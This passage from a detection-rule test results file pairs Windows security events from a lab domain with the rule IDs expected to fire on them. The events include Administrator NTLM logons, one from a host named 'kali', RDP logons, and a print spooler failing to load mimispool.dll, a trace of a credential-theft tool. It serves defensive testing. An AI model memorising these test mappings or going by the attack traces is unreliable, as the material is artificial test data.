V2\",\"targetLogonId\":\"0x30ad3c7\",\"logonProcessName\":\"NtLmSsp\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"128\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-0-0\",\"processId\":\"0x0\",\"ipPort\":\"51588\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"3\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-0-0\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t3\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x30AD3C7\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\t\\r\\n\\tSource Network Address:\\t192.168.0.218\\r\\n\\tSource Port:\\t\\t51588\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tNtLmSsp \\r\\n\\tAuthentication Package:\\tNTLM\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\tNTLM V2\\r\\n\\tKey Length:\\t\\t128\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-06-25T13:42:33.795530000Z\",\"eventRecordID\":\"2892977\",\"threadID\":\"588\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"552\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "NTLM", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "192.168.0.218", "win.eventdata.ipPort": "51588", "win.eventdata.keyLength": "128", "win.eventdata.lmPackageName": "NTLM V2", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "NtLmSsp", "win.eventdata.logonType": "3", "win.eventdata.processId": "0x0", "win.eventdata.subjectLogonId": "0x0", "win.eventdata.subjectUserSid": "S-1-0-0", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x30ad3c7", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "2892977", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "552", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-06-25T13:42:33.795530000Z", "win.system.task": "12544", "win.system.threadID": "588", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.lmPackageName", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92652", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "Successful Remote Logon Detected - NTLM authentication"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x0\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"192.168.0.121\",\"authenticationPackageName\":\"NTLM\",\"workstationName\":\"kali\",\"lmPackageName\":\"NTLM V2\",\"targetLogonId\":\"0x1bbcd81\",\"logonProcessName\":\"NtLmSsp\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"128\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-0-0\",\"processId\":\"0x0\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"3\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-0-0\\r\\n\\tAccount Name:\\t\\t-\\r\\n\\tAccount Domain:\\t\\t-\\r\\n\\tLogon ID:\\t\\t0x0\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t3\\r\\n\\tRestricted Admin Mode:\\t-\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x1BBCD81\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x0\\r\\n\\tProcess Name:\\t\\t-\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tkali\\r\\n\\tSource Network Address:\\t192.168.0.121\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tNtLmSsp \\r\\n\\tAuthentication Package:\\tNTLM\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\tNTLM V2\\r\\n\\tKey Length:\\t\\t128\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-10-12T21:45:02.903785200Z\",\"eventRecordID\":\"4903177\",\"threadID\":\"2272\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"548\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "NTLM", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "192.168.0.121", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "128", "win.eventdata.lmPackageName": "NTLM V2", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "NtLmSsp", "win.eventdata.logonType": "3", "win.eventdata.processId": "0x0", "win.eventdata.subjectLogonId": "0x0", "win.eventdata.subjectUserSid": "S-1-0-0", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x1bbcd81", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "kali", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "4903177", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "548", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-10-12T21:45:02.903785200Z", "win.system.task": "12544", "win.system.threadID": "2272", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.lmPackageName", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92657", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "Successful Remote Logon Detected - NTLM authentication with RDP signature"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"restrictedAdminMode\":\"%%1843\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"192.168.0.1\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"BANKDC\",\"targetLogonId\":\"0x4105aff\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{64C35E00-1827-0FCE-2AE0-11E54FFE301F}\",\"targetUserName\":\"Administrator\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1842\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x464\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-500\",\"virtualAccount\":\"%%1843\",\"logonType\":\"10\",\"subjectUserName\":\"BANKDC$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-A5BA-3E3B0328C30D}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tBANKDC$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t10\\r\\n\\tRestricted Admin Mode:\\tNo\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tYes\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-500\\r\\n\\tAccount Name:\\t\\tAdministrator\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x4105AFF\\r\\n\\tLinked Logon ID:\\t\\t0x0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{64C35E00-1827-0FCE-2AE0-11E54FFE301F}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x464\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tBANKDC\\r\\n\\tSource Network Address:\\t::1\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-02T20:19:32.631853500Z\",\"eventRecordID\":\"4200219\",\"threadID\":\"720\",\"computer\":\"bankdc.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"556\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1842", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "192.168.0.1", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{64C35E00-1827-0FCE-2AE0-11E54FFE301F}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "10", "win.eventdata.processId": "0x464", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.restrictedAdminMode": "%%1843", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "BANKDC$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x0", "win.eventdata.targetLogonId": "0x4105aff", "win.eventdata.targetUserName": "Administrator", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-500", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "BANKDC", "win.system.channel": "Security", "win.system.computer": "bankdc.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "4200219", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "556", "win.system.providerGuid": "{54849625-5478-4994-A5BA-3E3B0328C30D}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-07-02T20:19:32.631853500Z", "win.system.task": "12544", "win.system.threadID": "720", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.restrictedAdminMode", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92653", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "User logged with RDP"} +{"log": "{\"win\":{\"eventdata\":{\"subjectLogonId\":\"0x3e7\",\"restrictedAdminMode\":\"%%1843\",\"subjectDomainName\":\"EXCHANGETEST\",\"targetLinkedLogonId\":\"0x5d74a0\",\"impersonationLevel\":\"%%1833\",\"ipAddress\":\"192.168.0.57\",\"authenticationPackageName\":\"Negotiate\",\"workstationName\":\"HRMANAGER\",\"targetLogonId\":\"0x5d7553\",\"logonProcessName\":\"User32\",\"logonGuid\":\"{00000000-0000-0000-0000-000000000000}\",\"targetUserName\":\"AtomicRed\",\"keyLength\":\"0\",\"elevatedToken\":\"%%1843\",\"subjectUserSid\":\"S-1-5-18\",\"processId\":\"0x474\",\"processName\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"ipPort\":\"0\",\"targetDomainName\":\"EXCHANGETEST\",\"targetUserSid\":\"S-1-5-21-887924094-598891991-956377308-1146\",\"virtualAccount\":\"%%1843\",\"logonType\":\"10\",\"subjectUserName\":\"HRMANAGER$\"},\"system\":{\"eventID\":\"4624\",\"keywords\":\"0x8020000000000000\",\"providerGuid\":\"{54849625-5478-4994-a5ba-3e3b0328c30d}\",\"level\":\"0\",\"channel\":\"Security\",\"opcode\":\"0\",\"message\":\"\\\"An account was successfully logged on.\\r\\n\\r\\nSubject:\\r\\n\\tSecurity ID:\\t\\tS-1-5-18\\r\\n\\tAccount Name:\\t\\tHRMANAGER$\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x3E7\\r\\n\\r\\nLogon Information:\\r\\n\\tLogon Type:\\t\\t10\\r\\n\\tRestricted Admin Mode:\\tNo\\r\\n\\tVirtual Account:\\t\\tNo\\r\\n\\tElevated Token:\\t\\tNo\\r\\n\\r\\nImpersonation Level:\\t\\tImpersonation\\r\\n\\r\\nNew Logon:\\r\\n\\tSecurity ID:\\t\\tS-1-5-21-887924094-598891991-956377308-1146\\r\\n\\tAccount Name:\\t\\tAtomicRed\\r\\n\\tAccount Domain:\\t\\tEXCHANGETEST\\r\\n\\tLogon ID:\\t\\t0x5D7553\\r\\n\\tLinked Logon ID:\\t\\t0x5D74A0\\r\\n\\tNetwork Account Name:\\t-\\r\\n\\tNetwork Account Domain:\\t-\\r\\n\\tLogon GUID:\\t\\t{00000000-0000-0000-0000-000000000000}\\r\\n\\r\\nProcess Information:\\r\\n\\tProcess ID:\\t\\t0x474\\r\\n\\tProcess Name:\\t\\tC:\\\\Windows\\\\System32\\\\svchost.exe\\r\\n\\r\\nNetwork Information:\\r\\n\\tWorkstation Name:\\tHRMANAGER\\r\\n\\tSource Network Address:\\t192.168.0.57\\r\\n\\tSource Port:\\t\\t0\\r\\n\\r\\nDetailed Authentication Information:\\r\\n\\tLogon Process:\\t\\tUser32 \\r\\n\\tAuthentication Package:\\tNegotiate\\r\\n\\tTransited Services:\\t-\\r\\n\\tPackage Name (NTLM only):\\t-\\r\\n\\tKey Length:\\t\\t0\\r\\n\\r\\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\\r\\n\\r\\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\\r\\n\\r\\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\\r\\n\\r\\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\\r\\n\\r\\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\\r\\n\\r\\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\\r\\n\\r\\nThe authentication information fields provide detailed information about this specific logon request.\\r\\n\\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\\r\\n\\t- Transited services indicate which intermediate services have participated in this logon request.\\r\\n\\t- Package name indicates which sub-protocol was used among the NTLM protocols.\\r\\n\\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\\\"\",\"version\":\"2\",\"systemTime\":\"2021-07-14T15:44:42.4327920Z\",\"eventRecordID\":\"481524\",\"threadID\":\"3448\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"12544\",\"processID\":\"588\",\"severityValue\":\"AUDIT_SUCCESS\",\"providerName\":\"Microsoft-Windows-Security-Auditing\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.authenticationPackageName": "Negotiate", "win.eventdata.elevatedToken": "%%1843", "win.eventdata.impersonationLevel": "%%1833", "win.eventdata.ipAddress": "192.168.0.57", "win.eventdata.ipPort": "0", "win.eventdata.keyLength": "0", "win.eventdata.logonGuid": "{00000000-0000-0000-0000-000000000000}", "win.eventdata.logonProcessName": "User32", "win.eventdata.logonType": "10", "win.eventdata.processId": "0x474", "win.eventdata.processName": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.restrictedAdminMode": "%%1843", "win.eventdata.subjectDomainName": "EXCHANGETEST", "win.eventdata.subjectLogonId": "0x3e7", "win.eventdata.subjectUserName": "HRMANAGER$", "win.eventdata.subjectUserSid": "S-1-5-18", "win.eventdata.targetDomainName": "EXCHANGETEST", "win.eventdata.targetLinkedLogonId": "0x5d74a0", "win.eventdata.targetLogonId": "0x5d7553", "win.eventdata.targetUserName": "AtomicRed", "win.eventdata.targetUserSid": "S-1-5-21-887924094-598891991-956377308-1146", "win.eventdata.virtualAccount": "%%1843", "win.eventdata.workstationName": "HRMANAGER", "win.system.channel": "Security", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "4624", "win.system.eventRecordID": "481524", "win.system.keywords": "0x8020000000000000", "win.system.level": "0", "win.system.opcode": "0", "win.system.processID": "588", "win.system.providerGuid": "{54849625-5478-4994-a5ba-3e3b0328c30d}", "win.system.providerName": "Microsoft-Windows-Security-Auditing", "win.system.severityValue": "AUDIT_SUCCESS", "win.system.systemTime": "2021-07-14T15:44:42.4327920Z", "win.system.task": "12544", "win.system.threadID": "3448", "win.system.version": "2"}, "field_names": ["win.eventdata.authenticationPackageName", "win.eventdata.elevatedToken", "win.eventdata.impersonationLevel", "win.eventdata.ipAddress", "win.eventdata.ipPort", "win.eventdata.keyLength", "win.eventdata.logonGuid", "win.eventdata.logonProcessName", "win.eventdata.logonType", "win.eventdata.processId", "win.eventdata.processName", "win.eventdata.restrictedAdminMode", "win.eventdata.subjectDomainName", "win.eventdata.subjectLogonId", "win.eventdata.subjectUserName", "win.eventdata.subjectUserSid", "win.eventdata.targetDomainName", "win.eventdata.targetLinkedLogonId", "win.eventdata.targetLogonId", "win.eventdata.targetUserName", "win.eventdata.targetUserSid", "win.eventdata.virtualAccount", "win.eventdata.workstationName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92653", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "User logged with RDP"} +{"log": "{\"win\":{\"system\":{\"eventID\":\"808\",\"keywords\":\"0x8000000000020000\",\"providerGuid\":\"{747ef6fd-e535-4d16-b510-42c90f6873a1}\",\"level\":\"2\",\"channel\":\"Microsoft-Windows-PrintService/Admin\",\"opcode\":\"12\",\"message\":\"\\\"The print spooler failed to load a plug-in module C:\\\\Windows\\\\system32\\\\spool\\\\DRIVERS\\\\x64\\\\3\\\\mimispool.dll, error code 0x45A. See the event user data for context information.\\\"\",\"version\":\"0\",\"systemTime\":\"2021-07-12T14:40:42.8983599Z\",\"eventRecordID\":\"3\",\"threadID\":\"6544\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"36\",\"processID\":\"1804\",\"severityValue\":\"ERROR\",\"providerName\":\"Microsoft-Windows-PrintService\"},\"loadPluginFailed\":{\"context\":\"112\",\"errorCode\":\"0x45a\",\"pluginDllName\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\spool\\\\\\\\DRIVERS\\\\\\\\x64\\\\\\\\3\\\\\\\\mimispool.dll\"}}}", "decoder": "json", "parent": "", "fields": {"win.loadPluginFailed.context": "112", "win.loadPluginFailed.errorCode": "0x45a", "win.loadPluginFailed.pluginDllName": "C:\\\\Windows\\\\system32\\\\spool\\\\DRIVERS\\\\x64\\\\3\\\\mimispool.dll", "win.system.channel": "Microsoft-Windows-PrintService/Admin", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "808", "win.system.eventRecordID": "3", "win.system.keywords": "0x8000000000020000", "win.system.level": "2", "win.system.message": "\"The print spooler failed to load a plug-in module C:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\mimispool.dll, error code 0x45A. See the event user data for context information.\"", "win.system.opcode": "12", "win.system.processID": "1804", "win.system.providerGuid": "{747ef6fd-e535-4d16-b510-42c90f6873a1}", "win.system.providerName": "Microsoft-Windows-PrintService", "win.system.severityValue": "ERROR", "win.system.systemTime": "2021-07-12T14:40:42.8983599Z", "win.system.task": "36", "win.system.threadID": "6544", "win.system.version": "0"}, "field_names": ["win.loadPluginFailed.context", "win.loadPluginFailed.errorCode", "win.loadPluginFailed.pluginDllName", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.message", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "1002", "level": "2", "expected_decoder": "json", "expected_rule": "92655", "rule_matches_expected": false, "ini_file": "win_event_channel.ini", "section": "Printer driver failed to load"} +{"log": 